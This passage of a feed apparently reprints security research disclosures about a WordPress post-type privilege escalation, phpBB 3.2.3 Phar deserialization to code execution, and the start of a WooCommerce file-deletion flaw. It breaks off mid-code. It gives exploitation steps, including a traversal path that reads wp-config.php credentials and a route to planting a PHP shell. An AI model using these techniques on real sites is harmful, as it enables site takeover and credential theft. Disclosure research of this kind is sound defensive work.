if(!wp_verify_nonce($_POST[&apos;nonce&apos;], $nonce_name))
    die(&quot;You are not allowed to use this post type!&quot;);&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;If the &lt;code&gt;$post_type&lt;/code&gt; was a &lt;em&gt;post&lt;/em&gt;, the &lt;code&gt;$nonce_name&lt;/code&gt; would be &lt;em&gt;add-post&lt;/em&gt;. If &lt;code&gt;$post_type&lt;/code&gt; was &lt;em&gt;example_post_type&lt;/em&gt;, the &lt;code&gt;$nonce_name&lt;/code&gt; would be &lt;em&gt;add-example_post_type&lt;/em&gt;. This nonce can only be obtained by users that have the capability to create these post types, because only these users can access the editor page of that post type, which is the only way to get the nonce.&lt;/p&gt;&lt;h3&gt;WordPress’s failure&lt;/h3&gt;&lt;p&gt;Although lower privileged attackers, such as attackers in the contributor role, can’t access the page and nonce of the example post type, he can always get the nonce of a normal post, which has the simple internal post type &lt;em&gt;post&lt;/em&gt;. This means he could simply set the post ID to a post with the post type &lt;em&gt;post&lt;/em&gt;. This would allow him to pass the nonce verification.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;/wp-admin/post.php&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;// Send a post ID of a post of post type &apos;post&apos;
if($post_id)
    // This would return &apos;post&apos;
    $post_type = get_post_type($post_id);
else
    $post_type = $_POST[&apos;post_type&apos;];

// All users can by default create &apos;posts&apos; and get the nonce to pass this check
$nonce_name = &quot;add-&quot; . $post_type;
if(!wp_verify_nonce($nonce_name))
    die(&quot;You are not allowed to create posts of this type!&quot;);&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;However, this method only allows updating an existing post and it is not possible to overwrite the &lt;code&gt;post_type&lt;/code&gt; of a post. If a post ID is set, WordPress will remove the &lt;code&gt;post_type&lt;/code&gt; from the parameters before updating the post.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;However, WordPress will only remove the &lt;code&gt;$post_type&lt;/code&gt; parameter if &lt;code&gt;$_POST[&amp;#x27;post_ID&amp;#x27;]&lt;/code&gt; is set. An attacker can send a post ID via &lt;code&gt;$_POST[&amp;#x27;post_ID&amp;#x27;]&lt;/code&gt; &lt;strong&gt;or&lt;/strong&gt; &lt;code&gt;$_GET[&amp;#x27;post&amp;#x27;]&lt;/code&gt;. If an attacker sends a post ID via &lt;code&gt;$_GET[&amp;#x27;post&amp;#x27;]&lt;/code&gt; the following will happen:&lt;/p&gt;&lt;ol&gt;&lt;li&gt;WordPress sees that a post ID is set and pulls its post type from the database.&lt;/li&gt;&lt;li&gt;WordPress checks if the attacker sent a valid nonce for that post type (which he can always get for a normal &lt;code&gt;post&lt;/code&gt;)&lt;/li&gt;&lt;li&gt;Once the nonce check is passed WordPress determines if it should call either &lt;code&gt;wp_update_post()&lt;/code&gt; or &lt;code&gt;wp_insert_post()&lt;/code&gt;. It does this by checking if &lt;code&gt;$_POST[&amp;#x27;post_ID&amp;#x27;]&lt;/code&gt; is set. If it is, &lt;code&gt;wp_update_post&lt;/code&gt; will be called and the &lt;code&gt;$post_type&lt;/code&gt; parameter will be removed, thus not allowing the attacker to overwrite the post type. If it is not set, WordPress will call &lt;code&gt;wp_insert_post()&lt;/code&gt; and use &lt;code&gt;$_POST[&amp;#x27;post_type&amp;#x27;]&lt;/code&gt; as the post type of the new post.&lt;/li&gt;&lt;/ol&gt;&lt;p&gt;Because WordPress forgets to also check &lt;code&gt;$_GET[&amp;#x27;post&amp;#x27;]&lt;/code&gt; in the third step, an attacker can pass the nonce verification and create a new post with an arbitrary post type. The code snippets shown are simplified and abstracted, the real code spans across multiple files and function calls, which makes the process prone to such flaws.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;/wp-admin/post.php&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;// An attacker sets $_GET[&apos;post&apos;] to a post of a post type he can access
if ( isset( $_GET[&apos;post&apos;] ) )
    $post_id = $post_ID = $_GET[&apos;post&apos;];
elseif ( isset( $_POST[&apos;post_ID&apos;] ) )
    $post_id = $post_ID = $_POST[&apos;post_ID&apos;];

if($post_id)
    // The post type is now &apos;post&apos;
    $post_type = get_post_type($post_id);
else
    $post_type = $_POST[&apos;post_type&apos;];

// Since the attacker has access to that post type, he can get the nonce and
// pass the nonce verification check
$nonce_name = &quot;add-&quot; . $post_type;
if(!wp_verify_nonce($nonce_name))
    die(&quot;You are not allowed to create posts of this type!&quot;);

$post_details = array(
  &apos;post_title&apos; =&gt; $_POST[&apos;post_title&apos;],
  &apos;post_content&apos; =&gt; $_POST[&apos;post_content&apos;],
  &apos;post_type&apos; =&gt; $_POST[&apos;post_type&apos;]
);

// WordPress only unsets the post_type if $_POST[&apos;post_ID&apos;] is set and forgets to
// check $_GET[&apos;post&apos;]
if(isset($_POST[&apos;post_ID&apos;])) {
    
    unset($post_details[&apos;post_type&apos;]);
    $post_details[&apos;ID&apos;] = $post_id;
    wp_update_post($post_details);
} else {
    // If we just set $_GET[&apos;post&apos;] we will enter this branch and can set the
    // post type to anything we want it to be!
    wp_insert_post($post_details);
}&lt;/code&gt;&lt;/pre&gt;&lt;h3&gt;Exploitation: Reading the wp-config.php via Contact Forms 7&lt;/h3&gt;&lt;p&gt;By now you should understand that lower privileged users can abuse this bug to create posts of any type and that the impact on a target site depends on what plugins are installed and what features the post types that come with the installed plugins offer.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;To give a concrete example, it was possible for attackers in the role of a contributor to abuse a feature in WordPress’s most popular plugin, Contact Form 7, to read the contents of the wp-config.php file of the target site. This file contains database credentials and encryption keys.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Up to version 5.0.3 of Contact Forms 7, it was possible to set local file attachments. When an admin creates a contact form and a visitor of the page contacts him through it, an email is sent to the administrator with all the data the user has entered. Local file attachments are a setting for a contact form where administrators can define local files to be sent as an attachment with each email.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;This means an attacker could simply create a new contact form, set the local file attachment to&lt;code&gt; ../wp-config.php&lt;/code&gt; and set the email to which the data should be sent to his own, submit the form and then read the contents of the most important WordPress file.&lt;/p&gt;&lt;h3&gt;Fix for plugin developers&lt;/h3&gt;&lt;p&gt;Plugin developers should further tighten the security of their plugins by explicitly setting the &lt;code&gt;capability&lt;/code&gt; and &lt;code&gt;capability_type&lt;/code&gt; parameters when calling &lt;code&gt;register_post_type()&lt;/code&gt;. In the WordPress documentation you can find more information on &lt;a href=&quot;https://codex.wordpress.org/Function_Reference/register_post_type#capability_type&quot;&gt;securing post types&lt;/a&gt; with &lt;code&gt;register_post_type&lt;/code&gt;.&lt;/p&gt;&lt;pre&gt;&lt;code&gt;// Example post type
register_post_type( &apos;example_post_type&apos;, array(
    &apos;label&apos; =&gt; &apos;Example Post Type&apos;,     
    
    &apos;capability_type&apos; =&gt; &apos;page&apos;     // capability_type of page makes sure that
                                    // only editors and admins can create posts of 
                                    // that type
));&lt;/code&gt;&lt;/pre&gt;&lt;h3&gt;XMLRPC and REST API of WordPress&lt;/h3&gt;&lt;p&gt;It is possible to create posts via the XMLRPC and the REST API of WordPress, which do not perform nonce verification for a specific post type. However, when creating posts via these APIs, it is not possible to set arbitrary &lt;code&gt;post meta&lt;/code&gt; fields. Most vulnerabilities in plugins that we have discovered are only exploitable if users can set these post meta fields.&lt;/p&gt;&lt;h2&gt;Timeline&lt;/h2&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;table&gt;&lt;tbody&gt;
  &lt;tr&gt;&lt;td&gt;&lt;strong&gt;Date&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;strong&gt;What&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2018/08/31&lt;/td&gt;&lt;td&gt;Reported the vulnerability to Contact Form 7 via the contact form on their website&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2018/09/02&lt;/td&gt;&lt;td&gt;Reported the vulnerability to WordPress on Hackerone&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2018/09/04&lt;/td&gt;&lt;td&gt;Contact Form 7 fixes the vulnerability&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2018/09/27&lt;/td&gt;&lt;td&gt;WordPress security team triages the vulnerability on Hackerone&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2018/10/12&lt;/td&gt;&lt;td&gt;WordPress proposes a patch on Hackerone&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2018/10/18&lt;/td&gt;&lt;td&gt;We verify the patch&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2018/12/13&lt;/td&gt;&lt;td&gt;WordPress releases a patch in version 5.0.1&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;h2&gt;Summary&lt;/h2&gt;&lt;p&gt;Attackers with a user role as low as a contributor, the second lowest role in WordPress, can create posts of post types they usually should not have access to. This gives attackers access to features that were intended for administrators only. We have identified 2 vulnerabilities in WordPress’s Top 5 Popular plugins so far. We estimate that thousands of plugins are potentially vulnerable. Furthermore, a Stored XSS and Object Injection was identified in one of WordPress’s internal post types. The Stored XSS can be triggered via a click-jacking attack. Once the JavaScript is executed, a full site takeover is possible.&lt;/p&gt;&lt;h3&gt;Related Posts&lt;/h3&gt;&lt;ul&gt;&lt;li&gt;&lt;a href=&quot;https://blog.sonarsource.com/wordpress-post-type-privilege-escalation/&quot;&gt;WordPress 5.1 CSRF to Remote Code Execution&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://blog.sonarsource.com/wordpress-post-type-privilege-escalation/&quot;&gt;WordPress &amp;lt;= 5.2.3: Hardening Bypass&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://blog.sonarsource.com/wordpress-post-type-privilege-escalation/&quot;&gt;WordPress Design Flaw Leads to WooCommerce RCE&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://blog.sonarsource.com/wordpress-post-type-privilege-escalation/&quot;&gt;WordPress File Delete to Code Execution&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://blog.sonarsource.com/wordpress-post-type-privilege-escalation/&quot;&gt;WordPress 5.0.0 Remote Code Execution &lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;</content:encoded></item><item><title><![CDATA[phpBB 3.2.3: Phar Deserialization to RCE]]></title><description><![CDATA[A new PHP exploit technique affects the most famous forum software phpBB3. The vulnerability allows attackers who gain access to an administrator account to execute arbitrary PHP code and to take over the entire board (CVE-2018-19274).]]></description><link>https://www.sonarsource.com/blog/phpbb3-phar-deserialization-to-remote-code-execution</link><guid isPermaLink="false">4ee2ddba-41d1-5b19-8f85-0616a439d434</guid><dc:creator><![CDATA[Simon Scannell]]></dc:creator><pubDate>Tue, 20 Nov 2018 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;Impact&lt;/h2&gt;&lt;p&gt;phpBB is one of the oldest and most popular board software. If an attacker aims to take over a board running phpBB3, he will usually attempt to gain access to the admin control panel by means of bruteforcing, phishing or XSS vulnerabilities in plugins that the target site has installed. But plugins cannot be installed directly in the admin panel and there is no other feature that can be abused by administrators to execute arbitrary PHP code. However, the vulnerability described here allows the attacker to break out of the admin panel, execute arbitrary PHP code on the underlying server and then to perform a full site takeover. The issue in the phpBB3 code base (300 KLOC) is a &lt;a href=&quot;https://blog.sonarsource.com/phpbb3-phar-deserialization-to-remote-code-execution/&quot;&gt;Phar deserialization&lt;/a&gt; vulnerability (CVE-2018-19274). It was fixed in version 3.2.4.&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://www.youtube.com/embed/SDWcVdyuSwA&quot;&gt;A video walkthrough of phpBB 3.2.3: Phar Deserialization to RCE&lt;/a&gt;&lt;/p&gt;&lt;h2&gt;Technical Details&lt;/h2&gt;&lt;p&gt;Phar deserialization vulnerabilities occur if user input is passed unsanitized to any file system function in PHP, such as &lt;code&gt;file_exists()&lt;/code&gt;. We have detailed how the new exploitation technique discovered by Sam Thomas works in &lt;a href=&quot;https://blog.sonarsource.com/phpbb3-phar-deserialization-to-remote-code-execution/&quot;&gt;our previous blogpost&lt;/a&gt;.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The vulnerability in phpBB3 lies in a feature that allows administrators to edit images that were uploaded to the forum. The feature utilizes an image editor binary called Imagick. Administrators are able to set the absolute path to the image editor binary on the server running phpBB3. Before updating this setting, phpBB3 tries to validate the new path with the function &lt;code&gt;validate_config_vars()&lt;/code&gt;. The function performs this validation by checking if the file actually exists.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;/includes/functions_acp.php&lt;/strong&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;568    function validate_config_vars($config_vars, &amp;$cfg_array, &amp;$error)
569    {
570        ⋮
571        case &apos;absolute_path&apos;:
572        case &apos;absolute_path_writable&apos;:	
573        case &apos;path&apos;:
574        case &apos;wpath&apos;:
575        ⋮
576        if (!file_exists($path)) {
577            $error[] = sprintf($user-&gt;lang[&apos;DIRECTORY_DOES_NOT_EXIST&apos;], $cfg_array[$config_name]);
578        }
579        ⋮&lt;/code&gt;&lt;/pre&gt;&lt;h2&gt;Exploitation&lt;/h2&gt;&lt;p&gt;For exploitation, the following steps are necessary. Please note that we left out some details on purpose.&lt;/p&gt;&lt;h3&gt;Uploading a malicious Phar file&lt;/h3&gt;&lt;p&gt;In order to trigger the Phar deserialization, the local path to the Phar file on the target server must be supplied.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Example of triggering a phar deserialization&lt;/strong&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;file_exists(&apos;phar:///var/www/phpBB3/files/evil.phar&apos;);&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;This means an attacker must upload the malicious Phar file to the target board. Since phpBB3 allows users to upload &lt;em&gt;attachments&lt;/em&gt; and add them to threads and posts, uploading the malicious Phar file is trivial. Although only a whitelisted set of extensions, such as &lt;code&gt;.jpg&lt;/code&gt; or &lt;code&gt;.pdf&lt;/code&gt; is allowed, an attacker can still upload a valid Phar file to the server. This is because Phar files are extension independend. If the &lt;code&gt;evil.phar&lt;/code&gt; file was renamed to &lt;code&gt;evil.jpg&lt;/code&gt;, the above example of triggering the Phar deserialization would still work. There are also &lt;a href=&quot;https://github.com/ambionics/phpggc/issues/24&quot;&gt;Polyglot files&lt;/a&gt; that are valid JPG and Phar files at the same time.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Phar files are extension independend&lt;/strong&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;file_exists(&apos;phar:///var/www/phpBB3/files/evil.jpg&apos;);&lt;/code&gt;&lt;/pre&gt;&lt;h3&gt;Defeating filename randomization&lt;/h3&gt;&lt;p&gt;When files are uploaded to the phpBB3 forum (e.g. post attachments or images), their filename is randomized. When &lt;code&gt;evil.jpg&lt;/code&gt; is uploaded, it will be stored in the &lt;code&gt;/phpBB3/files/&lt;/code&gt; directory as a randomly generated md5 hash, for example &lt;code&gt;2_08cc076da659b5b30de5fbfe10c05270&lt;/code&gt;. In order to exploit the Phar deserialization, an attacker must know the exact file path of the file on the server. The filename randomization of phpBB3 is cryptographically secure, so bruteforcing the filename is not a liable option. This means that the first step of uploading the malicious file can be done easily, but the second step of triggering the Phar deserialization fails because the attacker does not know the path to the Phar file.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;However, a weakness in the file uploading process of attachments allows attackers to predict the filename on the server. phpBB3 offers users to upload files in chunks, which means that a large file can be uploaded in multiple requests. All upload chunks are written to a temporary file. Once all chunks have been appended to the file, its filename is randomized and moved to the &lt;code&gt;/phpBB3/files&lt;/code&gt; directory. The temporary filename is generated by the &lt;code&gt;temporary_filepath()&lt;/code&gt; function. The function takes one argument, which is the filename of the malicious Phar file the attacker wants to upload, in this case &lt;code&gt;evil.jpg&lt;/code&gt;.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;/includes/functions_acp.php&lt;/strong&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;568    protected function temporary_filepath($file_name)
569    {
570        // Must preserve the extension for plupload to work.
571        return sprintf(
572            &apos;files/plupload/%s_%s%s&apos;,
573            $this-&gt;config[&apos;plupload_salt&apos;],
574            md5($file_name),
575            \phpbb\files\filespec::get_extension($file_name)
576        );
577    }&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;The function then returns the filename, which consists of an &lt;em&gt;upload salt&lt;/em&gt;, the md5 hash of the &lt;code&gt;$filename&lt;/code&gt;, which is &lt;code&gt;evil.jpg&lt;/code&gt; and the extension of the &lt;code&gt;$file_name&lt;/code&gt;, which is &lt;code&gt;.jpg&lt;/code&gt;. Since &lt;code&gt;$file_name&lt;/code&gt; is under control of the attacker, the only part of the filename that is unknown is the &lt;code&gt;plupload_salt&lt;/code&gt;. This salt is a cryptographically secure, random hash that is unique to each phpBB3 board and is generated when the target board was installed. However, the hash is stored in the database in the &lt;code&gt;phpbb_config&lt;/code&gt; table. Administrators with founder privileges can download MySQL database backups from within the admin control panel. This means an attacker can simply download a backup and extract the &lt;code&gt;plupload_salt&lt;/code&gt; from it. This allows the attacker to predict the full path of the Phar file on the server.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The temporary file will be stored on the server until all chunks are sent. An attacker can initiate a file upload and tell phpBB3 that two chunks will be sent. By uploading the Phar file with the first chunk but never sending the second, he can trick phpBB3 into waiting until the second chunk arrives and not deleting the temporary file. This way he can upload a file and know the local filename.&lt;/p&gt;&lt;h3&gt;Triggering the exploit and executing code&lt;/h3&gt;&lt;p&gt;The last step of exploiting the Phar deserialization is finding POP gadgets that can be abused to perform malicious actions. We managed to find a POP chain that allows attackers to create arbitrary files on the server and inject PHP code into the file. This means an attacker can easily create a &lt;code&gt;shell.php&lt;/code&gt; and then execute arbitrary code on the target server, leading to a full site takeover.&lt;br/&gt;&lt;/p&gt;&lt;h2&gt;Timeline&lt;/h2&gt;&lt;h2&gt;&lt;br/&gt;&lt;/h2&gt;&lt;table&gt;&lt;tbody&gt;
  &lt;tr&gt;&lt;td&gt;&lt;strong&gt;Date&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;strong&gt;What&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2018/10/08&lt;/td&gt;&lt;td&gt;Vulnerability reported to the phpBB3 security team on their public tracker.&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2018/10/08&lt;/td&gt;&lt;td&gt;The vulnerability was triaged and verified by the security team.&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2018/10/09&lt;/td&gt;&lt;td&gt;We provided more details about exploitation.&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2018/11/11&lt;/td&gt;&lt;td&gt;phpBB3 proposes a patch.&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2018/11/16&lt;/td&gt;&lt;td&gt;phpBB3 releases patch with version 3.2.4.&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;h2&gt;Summary&lt;/h2&gt;&lt;p&gt;&lt;a href=&quot;https://blog.sonarsource.com/phpbb3-phar-deserialization-to-remote-code-execution/&quot;&gt;Phar deserialization&lt;/a&gt; is a new exploitation technique in PHP and occurs in many popular CMS systems. In our analysis we detected this type of vulnerability in phpBB3, a popular forum software. The vulnerability allows authenticated attackers to execute arbitrary PHP code on the server. We would like to thank the phpBB security team for their very fast responses, as well as the competent and professional handling of the security issue.&lt;/p&gt;&lt;h3&gt;Related Posts&lt;/h3&gt;&lt;ul&gt;&lt;li&gt;&lt;a href=&quot;https://blog.sonarsource.com/phpbb3-phar-deserialization-to-remote-code-execution/&quot;&gt;Pydio 8.2.1 Unauthenticated Remote Code Execution&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://blog.sonarsource.com/phpbb3-phar-deserialization-to-remote-code-execution/&quot;&gt;Shopware 5.3.3: PHP Object Instantiation to Blind XXE&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://blog.sonarsource.com/phpbb3-phar-deserialization-to-remote-code-execution/&quot;&gt;A Salesmans Code Execution: PrestaShop 1.7.2.4&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://blog.sonarsource.com/phpbb3-phar-deserialization-to-remote-code-execution/&quot;&gt;CTF Writeup: Complex Drupal POP Chain&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://blog.sonarsource.com/phpbb3-phar-deserialization-to-remote-code-execution/&quot;&gt;Breaking Into Your Company&amp;#x27;s Internal Network - SuiteCRM 7.11.4&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://blog.sonarsource.com/phpbb3-phar-deserialization-to-remote-code-execution/&quot;&gt;What is Phar Deserialization&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://blog.sonarsource.com/phpbb3-phar-deserialization-to-remote-code-execution/&quot;&gt;What is PHP Object Injection&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;</content:encoded></item><item><title><![CDATA[WordPress Design Flaw Leads to WooCommerce RCE]]></title><description><![CDATA[WordPress Design Flaw Leads to WooCommerce RCEA flaw in the way WordPress handles privileges can lead to a privilege escalation in plugins. This affects for example the popular WooCommerce.]]></description><link>https://www.sonarsource.com/blog/wordpress-design-flaw-leads-to-woocommerce-rce</link><guid isPermaLink="false">cae6f4f5-4837-556d-93eb-69a97560cd76</guid><dc:creator><![CDATA[Simon Scannell]]></dc:creator><pubDate>Mon, 05 Nov 2018 23:00:00 GMT</pubDate><content:encoded>&lt;p&gt;A flaw in the way WordPress handles privileges can lead to a privilege escalation in WordPress plugins. This affects for example WooCommerce, the most popular e-commerce plugin with over 4 million installations. The vulnerability allows shop managers to delete certain files on the server and then to take over any administrator account (CVE-2018-20714).&lt;br/&gt;&lt;/p&gt;&lt;h2&gt;Impact&lt;/h2&gt;&lt;p&gt;We detected and reported a &lt;em&gt;file deletion&lt;/em&gt; vulnerability in WooCommerce, which was fixed in version &lt;strong&gt;3.4.6.&lt;/strong&gt; Arbitrary file deletion vulnerabilities aren’t considered critical in most cases as the only thing an attacker can cause is a Denial of Service by deleting the index.php of the website. This post details how deleting certain plugin files in WordPress can disable security checks and then leads to a full site takeover. At fault is an unpatched design flaw in the privilege system of WordPress. Affected were over 4 million WooCommerce shops. No other requirements other than an attacker being in control of an account with the user role &lt;em&gt;shop manager&lt;/em&gt; were required. &lt;em&gt;Shop managers&lt;/em&gt; are employees of the store that can manage orders, products, and customers. Such access could be obtained via XSS vulnerabilities or phishing attacks. Once the vulnerability described here is exploited, the shop manager can take over any administrator account and then execute code on the server.&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://www.youtube.com/embed/cDDAyCtNs8k&quot;&gt;Watch the video&lt;/a&gt;&lt;/p&gt;&lt;h2&gt;Technical Details&lt;/h2&gt;&lt;p&gt;The way WordPress handles privileges is by assigning certain capabilities to different roles. When the shop manager role is defined, it is assigned the &lt;code&gt;edit_users&lt;/code&gt; capability so that they are allowed to edit customer accounts of the store. This happens during the installation process of the plugin.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;woocommerce/includes/class-wc-install.php&lt;/strong&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt; 1    // Shop manager role.
 2    add_role(
 3        &apos;shop_manager&apos;,      // Internal name of the new role
 4        &apos;Shop manager&apos;,      // The label for displaying
 5        array(               // Capabilities
 6            ⋮
 7            &apos;read_private_posts&apos;     =&gt; true,
 8            &apos;edit_users&apos;             =&gt; true,
 9            &apos;edit_posts&apos;             =&gt; true,
10            ⋮
11        )
12    );&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;The role is then stored in the database as a core setting of WordPress. This means that the user role is now independent of the plugin and will exist even if the plugin is inactive. Whenever an authenticated user tries to edit another user, a call to &lt;code&gt;current_user_can()&lt;/code&gt; is made to ensure only privileged users can perform that action.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Example of a call to current_user_can()&lt;/strong&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;1    $target_user_id = $_GET[&apos;target_user_id&apos;]; 
2    if(current_user_can(&apos;edit_user&apos;, $target_user_id)) { 
3        edit_user($target_user_id); 
4    }&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;The logic of the call is “&lt;em&gt;Can the user trying to perform this action edit the specific user with the ID &lt;/em&gt;&lt;code&gt;$target_user_id&lt;/code&gt;&lt;em&gt;?&lt;/em&gt; “&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;By default the &lt;code&gt;edit_users&lt;/code&gt; capability allows users who have this privilege, e.g. shop managers, to edit any user, even administrators, and perform actions such as updating their passwords. For security reasons, WooCommerce needs to specify that shop managers should be able to edit users, but only those with the customer role.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;To do so, plugins such as WooCommerce can add meta capabilities. Meta capabilities are implemented as functions that are called by &lt;code&gt;current_user_can()&lt;/code&gt;. Instead of simply returning &lt;em&gt;true&lt;/em&gt; as the default behavior, the return value of the meta privilege function will decide whether or not the current user can perform that action. An abstracted version of WooCommerce’s meta privilege filter is shown below.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Example of a meta capability&lt;/strong&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt; 1    function disallow_editing_of_admins( $capability, $target_user_id ) { 
 2
 3        // If the user is an admin return false and disallow the action 
 4        if($capability == &quot;edit_user&quot; &amp;&amp; user_is_admin($target_user_id)) { 
 5            return false; 
 6        } else { 
 7            return true; 
 8        }
 9    } 
10    add_filter( &apos;map_meta_cap&apos;, &apos;disallow_editing_of_admins&apos;); &lt;/code&gt;&lt;/pre&gt;&lt;p&gt;As an example, when &lt;code&gt;current_user_can(‘edit_user’, 1)&lt;/code&gt; is called, the filter will be executed to determine if the user with the ID 1 (&lt;code&gt;$target_user_id&lt;/code&gt;) is an admin and if so disallow editing and return &lt;em&gt;false&lt;/em&gt;. Otherwise, it will let the user proceed. The actual, more complex meta cap hook of WooCommerce is stored in &lt;code&gt;woocommerce/includes/wc-user-functions.php&lt;/code&gt; on line 408.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;h3&gt;The Design Flaw&lt;/h3&gt;&lt;p&gt;While these filters work, they only get executed when the plugin is active. The issue is that user roles get stored in the database and exist even if the plugin is disabled. This means that if WooCommerce was disabled for some reason, the meta privilege check which restricts shop managers from editing administrators would not execute and the default behavior of allowing users with &lt;code&gt;edit_users&lt;/code&gt; to edit any user, even administrators, would occur. This would allow shop managers to update the password of the admin account and then take over the entire site.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;h3&gt;Disabling the plugin as a shop manager&lt;/h3&gt;&lt;p&gt;By default, only administrators can disable plugins. However, RIPS detected an arbitrary file deletion vulnerability in WooCommerce. This vulnerability allows shop managers to delete any file on the server that is writable. By deleting the main file of WooCommerce, &lt;code&gt;woocommerce.php&lt;/code&gt;, WordPress will be unable to load the plugin and then disables it.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The file deletion vulnerability occurred in the logging feature of WooCommerce. Logs are stored as .log files in the &lt;code&gt;wp-content&lt;/code&gt; directory. When a shop manager wants to delete a log file, he submits its filename as a GET parameter. As the following code snippets show this is handled insecurely. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;woocommerce/includes/admin/class-wc-admin-status.php&lt;/strong&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;1     class WC_Admin_Status
2     {
3         public static function remove_log()
4         {
5         ⋮
6             $log_handler = new WC_Log_Handler_File();
7             $log_handler-&gt;remove(wp_unslash($_REQUEST[&apos;handle&apos;]));
8         }&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;woocommerce/includes/log-handlers/class-wc-log-handler-file.php&lt;/strong&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;1     class WC_Log_Handler_File extends WC_Log_Handler
2     {
3         public function remove($handle)
4         {
5         ⋮
6             $file = trailingslashit(WC_LOG_DIR) . $handle;
7         ⋮
